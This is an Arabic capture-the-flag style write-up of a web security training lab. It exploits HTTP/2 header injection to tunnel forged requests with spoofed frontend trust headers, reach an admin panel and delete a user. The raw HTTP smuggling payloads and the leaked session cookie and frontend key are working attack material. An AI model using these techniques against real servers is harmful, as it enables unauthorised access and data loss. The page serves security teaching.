> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/access-control-bypass-via-http2-tunneling.md).

# تجاوز التحكم في الوصول عبر نفق HTTP/2

### تجاوز عناصر التحكم في الوصول عبر نفق طلبات HTTP/2

#### **وصف المختبر**

هذا المختبر عرضة لهجوم تهريب الطلبات لأن الخادم الأمامي يخفّض طلبات HTTP/2 إلى HTTP/1 بينما يسيء تنظيف أسماء الرؤوس الواردة. / لحل المختبر، يجب عليك الوصول إلى لوحة الإدارة الموجودة على **/admin** بصفتك مسؤولاً، ثم احذف المستخدم **carlos**.

الخادم الأمامي لا يعيد استخدام الاتصال مع الخادم الداخلي، لذلك فهو غير عرضة لهجمات تهريب الطلبات التقليدية. من ناحية أخرى، لا يزال معرضًا لـ **ضبط HTTP/2**.

#### **دراسة سلوك الخادم**

أولاً، أدرِج رأسًا مخصصًا، على سبيل المثال:

{% code title="الاسم:" %}

```http
Test: Testing
Host: jord4n.pro
القيمة:
```

{% endcode %}

<pre class="language-http" data-title="القيمة:"><code class="lang-http"><strong>القيمة
</strong></code></pre>

<figure><img src="/files/ac6f2f8056177f40c1c3a702a00078f9897d2f69" alt=""><figcaption></figcaption></figure>

ثم يُرجع الخادم خطأً، ما يشير إلى أن الرأس قابل للحقن.

<figure><img src="/files/e4626d837da0828c486b669693f54e6f4e5c8653" alt=""><figcaption></figcaption></figure>

ثم إذا أدخلنا في محرك البحث شيئًا مثل:

{% code title="الاسم" %}

```http
اختبار: اختبار
Content-Length: 100

search=testing
```

{% endcode %}

<figure><img src="/files/a0fce744b41c32140de3f6dea2c0f0caab53f262" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/95da8c98e650ff3aa45e526e08b996a913bff1fd" alt="" width="316"><figcaption></figcaption></figure>

يُربَك الخادم الأمامي بسبب هذا الرأس الإضافي. / من خلال زيادة **Content-Length** إلى حوالي **150**، يُرجع الخادم رؤوسًا داخلية:

```http
cookie: session=hGFEdnaCHTLJR2gv68Qj600nBECAmCeL
X-SSL-VERIFIED: 0
X-SSL-CLIENT-CN: null
X-FRONTEND-KEY: 7732064356452682
```

<figure><img src="/files/b3351ea7e51169447a53fe6d2b715afe5564593b" alt=""><figcaption></figcaption></figure>

#### **إنشاء طلب مُمرَّر عبر النفق**

تتم الآن حقن سلسلة جديدة من الرؤوس:

```http
اختبار: اختبار

GET /admin HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682


```

لتمكين النفق من العمل بشكل صحيح، يتم وضع الطريقة الصحيحة (HEAD أو GET حسب الاقتضاء) والمسار المطلوب.

<figure><img src="/files/5ac59b46dc8fbbd1d9d8c38eb565eb4212f8e889" alt=""><figcaption></figcaption></figure>

ثم يتم الوصول إلى لوحة الإدارة، حيث يظهر المستخدمون **wiener** و **carlos** يظهرون.

<figure><img src="/files/809d3d1cbedc92a183e36f62496824dafcfcfafe" alt=""><figcaption></figcaption></figure>

#### **حذف المستخدم**

يتم الحذف عبر إرسال طلب مماثل مُمرَّر عبر النفق:

```http
اختبار: اختبار

GET /admin/delete?username=carlos HTTP/1.1
Host: 0a4d00060452b3308271d30100b100ec.web-security-academy.net
X-SSL-VERIFIED: 1
X-SSL-CLIENT-CN: administrator
X-FRONTEND-KEY: 7732064356452682


```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/access-control-bypass-via-http2-tunneling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
